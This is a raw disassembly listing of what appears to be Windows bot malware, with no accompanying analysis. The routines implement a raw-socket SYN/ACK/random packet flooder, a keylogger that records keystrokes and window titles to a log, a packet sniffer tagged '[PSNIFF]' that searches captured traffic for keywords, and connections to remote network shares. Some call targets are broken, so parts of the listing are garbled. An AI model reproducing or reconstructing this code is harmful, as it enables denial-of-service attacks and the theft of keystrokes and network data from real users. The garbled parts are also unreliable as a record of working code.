push [esp+14h+arg_8]
mov ebx, eax
call sub_41781F
mov edi, eax
call sub_41730C
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_401A76
add esp, 1Ch
test eax, eax
jnz short loc_401D73
push 1
pop eax
loc_401D73: ; CODE XREF: sub_401D28+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_424058
call edi
push eax
call sub_417302
pop ecx
push 0FFh
push 3
push 2
call dword_43AE18
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401E4B
call dword_43AD2C
push eax
lea eax, [ebp+var_440]
push offset dword_42642C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E2B
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401E2B: ; CODE XREF: sub_401D82+84j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_401E4B: ; CODE XREF: sub_401D82+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43AD78
cmp eax, 0FFFFFFFFh
jnz short loc_401EC9
call dword_43AD2C
push eax
lea eax, [ebp+var_440]
push offset dword_4263E4
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401EA9
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401EA9: ; CODE XREF: sub_401D82+102j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_401EC9: ; CODE XREF: sub_401D82+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43ADD8
cmp eax, 0FFFFFFFFh
jnz short loc_401F39
lea eax, [ebp+var_440]
push offset dword_4263B4
push eax
call sub_4172B0
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401F19
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_401F19: ; CODE XREF: sub_401D82+172j
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
call near ptr 261031Eh
nop
loc_401F39: ; CODE XREF: sub_401D82+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43AD98
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43ADD8
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi
mov [ebp+var_30], eax
loc_401F71: ; CODE XREF: sub_401D82+430j
call edi
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_402235
push 28h
mov [ebp+var_2C], 45h
call dword_43AD98
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401FE4
call sub_41730C
mov esi, eax
shl esi, 8
call sub_41730C
add esi, eax
shl esi, 8
call sub_41730C
add esi, eax
shl esi, 8
call sub_41730C
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401FFA
; ---------------------------------------------------------------------------
loc_401FE4: ; CODE XREF: sub_401D82+233j
push [ebp+var_240]
call sub_40AEE0
pop ecx
push eax
call dword_43ADD8
mov [ebp+var_20], eax
loc_401FFA: ; CODE XREF: sub_401D82+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_402018
call sub_41730C
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_40201E
; ---------------------------------------------------------------------------
loc_402018: ; CODE XREF: sub_401D82+284j
push [ebp+var_B8]
loc_40201E: ; CODE XREF: sub_401D82+294j
call dword_43AD98
mov [ebp+var_16], ax
call sub_41730C
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43AD98
push 12345678h
mov [ebp+var_18], ax
call dword_43AD94
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40206E
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4020CA
; ---------------------------------------------------------------------------
loc_40206E: ; CODE XREF: sub_401D82+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40208E
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4020CA
; ---------------------------------------------------------------------------
loc_40208E: ; CODE XREF: sub_401D82+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_4020CA
call sub_41730C
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41730C
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4020CA: ; CODE XREF: sub_401D82+2EAj
; sub_401D82+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_43AD98
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43AD98
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_417390
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AF39
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_417390
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AF39
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43ADFC
cmp eax, 0FFFFFFFFh
jz short loc_4021B7
inc [ebp+arg_0]
jmp loc_401F71
; ---------------------------------------------------------------------------
loc_4021B7: ; CODE XREF: sub_401D82+42Bj
push [ebp+var_4]
call dword_43AE30
call dword_43AD2C
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_426344
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41782A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402215
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_402215: ; CODE XREF: sub_401D82+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_402235: ; CODE XREF: sub_401D82+203j
push [ebp+var_4]
call dword_43AE30
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4262E4
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4022A6
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D679
add esp, 14h
loc_4022A6: ; CODE XREF: sub_401D82+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40BF6D
push [ebp+var_BC]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
sub_401D82 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p
; sub_4023A7+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
nop
call near ptr 26204C6h
lea eax, [ebp+var_114]
push 104h
push eax
nop
call near ptr 2620000h
lea eax, [ebp+var_114]
push offset asc_426C1C ; "\\"
push eax
call sub_4179D0
lea eax, [ebp+var_114]
push offset dword_42F684
push eax
call sub_4179D0
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_4179A8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_40232D
push 1
pop eax
jmp short loc_4023A4
; ---------------------------------------------------------------------------
loc_40232D: ; CODE XREF: sub_4022C6+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_417956
push esi
call sub_417900
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4023A2
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_426BDC
push 200h
push eax
call sub_41782A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40D679
add esp, 24h
loc_4023A2: ; CODE XREF: sub_4022C6+A3j
xor eax, eax
loc_4023A4: ; CODE XREF: sub_4022C6+65j
pop esi
leave
retn
sub_4022C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43AD20
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43AD34
mov ebx, 200h
loc_402402: ; CODE XREF: sub_4023A7+2C7j
push 8
nop
call near ptr 2610E88h
call dword_43AD20
cmp eax, [ebp+var_8]
jz short loc_40248A
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43AD34
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4172B0
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022C6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417330
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417330
add esp, 0Ch
loc_40248A: ; CODE XREF: sub_4023A7+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_402491: ; CODE XREF: sub_4023A7+2BDj
push 10h
call dword_43AC78
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43AD64
test ah, 80h
jz short loc_402529
push 14h
call dword_43AC78
test ax, ax
jz short loc_4024DA
cmp esi, 0FFFFFFFFh
jle short loc_4024DA
cmp edi, 40h
jle short loc_4024DA
cmp edi, 5Bh
jge short loc_4024DA
mov [ebp+edi*4+var_8DC], 1
jmp loc_402659
; ---------------------------------------------------------------------------
loc_4024DA: ; CODE XREF: sub_4023A7+112j
; sub_4023A7+117j ...
push 14h
call dword_43AC78
test ax, ax
jz short loc_402505
test esi, esi
jge short loc_402519
cmp edi, 40h
jle short loc_402505
cmp edi, 5Bh
jge short loc_402505
mov [ebp+edi*4+var_8DC], 2
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402505: ; CODE XREF: sub_4023A7+13Ej
; sub_4023A7+147j ...
test esi, esi
jge short loc_402519
mov [ebp+edi*4+var_8DC], 3
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_4023A7+142j
; sub_4023A7+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402529: ; CODE XREF: sub_4023A7+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_402659
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_402561
call sub_417AB0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_402659
; ---------------------------------------------------------------------------
loc_402561: ; CODE XREF: sub_4023A7+1A5j
call sub_417AB0
cmp eax, 1B9h
pop ecx
jbe short loc_402593
call dword_43AD20
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43AD34
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4025D4
; ---------------------------------------------------------------------------
loc_402593: ; CODE XREF: sub_4023A7+1C5j
cmp edi, 0Dh
jnz loc_40262B
lea eax, [ebp+var_2DC]
push eax
call sub_417AB0
test eax, eax
pop ecx
jz loc_402659
call dword_43AD20
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43AD34
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_4025D4: ; CODE XREF: sub_4023A7+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_4172B0
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022C6
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417330
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417330
add esp, 0Ch
jmp short loc_402659
; ---------------------------------------------------------------------------
loc_40262B: ; CODE XREF: sub_4023A7+1EFj
cmp esi, 1
jz short loc_402644
cmp esi, 3
jz short loc_402644
cmp esi, 2
jz short loc_40263F
cmp esi, 4
jnz short loc_402659
loc_40263F: ; CODE XREF: sub_4023A7+291j
push [ebp+arg_0]
jmp short loc_40264B
; ---------------------------------------------------------------------------
loc_402644: ; CODE XREF: sub_4023A7+287j
; sub_4023A7+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40264B: ; CODE XREF: sub_4023A7+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_4179D0
pop ecx
pop ecx
loc_402659: ; CODE XREF: sub_4023A7+12Ej
; sub_4023A7+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_426BA4
jl loc_402491
cmp [ebp+var_4], 0
jz loc_402402
push [ebp+var_D8]
call sub_417078
pop ecx
push 0
call near ptr 261031Eh
nop
sub_4023A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_417B30
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43AD98
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AEE0
pop ecx
push eax
call dword_43ADD8
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43AE18
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_40275D
call dword_43AD2C
push eax
lea eax, [ebp+var_2B4]
push offset unk_427604
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402740
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_402740: ; CODE XREF: sub_402688+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
push [ebp+var_30]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 261031Eh
nop
loc_40275D: ; CODE XREF: sub_402688+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_4407FC[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43ADC4
cmp eax, 0FFFFFFFFh
jnz short loc_4027E2
call dword_43AD2C
push eax
lea eax, [ebp+var_2B4]
push offset unk_4275C0
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4027BE
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_4027BE: ; CODE XREF: sub_402688+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43AE30
push [ebp+var_30]
call sub_417078
pop ecx
push esi
call near ptr 261031Eh
nop
loc_4027E2: ; CODE XREF: sub_402688+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43AD44
cmp eax, 0FFFFFFFFh
jnz short loc_402865
call dword_43AD2C
push eax
lea eax, [ebp+var_2B4]
push offset unk_427578
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402841
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_402841: ; CODE XREF: sub_402688+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43AE30
push [ebp+var_30]
call sub_417078
pop ecx
push esi
nop
call near ptr 261031Eh
loc_402865: ; CODE XREF: sub_402688+177j
push ebx
mov ebx, offset dword_426C78
loc_40286B: ; CODE XREF: sub_402688+21Bj
; sub_402688+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_43ADB0
cmp eax, 0FFFFFFFFh
jz loc_40297D
cmp [ebp+var_102AB], 6
jnz short loc_40286B
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_40286B
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40286B
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_40286B
mov [ebp+arg_0], ebx
loc_4028D9: ; CODE XREF: sub_402688+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_4028FB
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_4028D9
jmp loc_40286B
; ---------------------------------------------------------------------------
loc_4028FB: ; CODE XREF: sub_402688+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43ACD4
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43AE24
push eax
lea eax, [edi+edi*2]
mov eax, dword_426C8C[eax*8]
push off_426C68[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_427528
push 200h
push eax
call sub_41782A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_40296B
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_40296B: ; CODE XREF: sub_402688+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
jmp loc_40286B
; ---------------------------------------------------------------------------
loc_40297D: ; CODE XREF: sub_402688+20Ej
call dword_43AD2C
push eax
push offset unk_4274E4
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_4029C3
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D679
add esp, 14h
loc_4029C3: ; CODE XREF: sub_402688+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40BF6D
pop ecx
push [ebp+var_4]
call dword_43AE30
push [ebp+var_30]
call sub_417078
pop ecx
push esi
nop
call near ptr 261031Eh
sub_402688 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_427B6C
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_427B64 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_436EDC
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
nop
call near ptr 2630000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_436ED8
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43AE38
cmp eax, 5
mov ebx, 4C3h
jz short loc_402AAD
cmp eax, ebx
jnz short loc_402AB7
loc_402AAD: ; CODE XREF: sub_4029E9+BEj
push edi
push edi
push edi
push esi
call dword_43AE38
loc_402AB7: ; CODE XREF: sub_4029E9+C2j
cmp eax, 5
jz short loc_402AC5
cmp eax, ebx
jz short loc_402AC5
push 1
pop eax
jmp short loc_402AC7
; ---------------------------------------------------------------------------
loc_402AC5: ; CODE XREF: sub_4029E9+D1j
; sub_4029E9+D5j
xor eax, eax
loc_402AC7: ; CODE XREF: sub_4029E9+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_4029E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap
; sub_402DD7+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_427B6C
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_427B64 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_436EDC
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
nop
call near ptr 2630000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B5F
add esp, 10h
loc_402B5D: ; CODE XREF: sub_402ACC+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43ACD8
test eax, eax
jz short loc_402B7D
push 7D0h
nop
call near ptr 2610E88h
jmp short loc_402B5D
; ---------------------------------------------------------------------------
loc_402B7D: ; CODE XREF: sub_402ACC+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_402ACC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p
; sub_402DD7+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_417B30
push esi
push edi
push offset byte_42F674
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AEE0
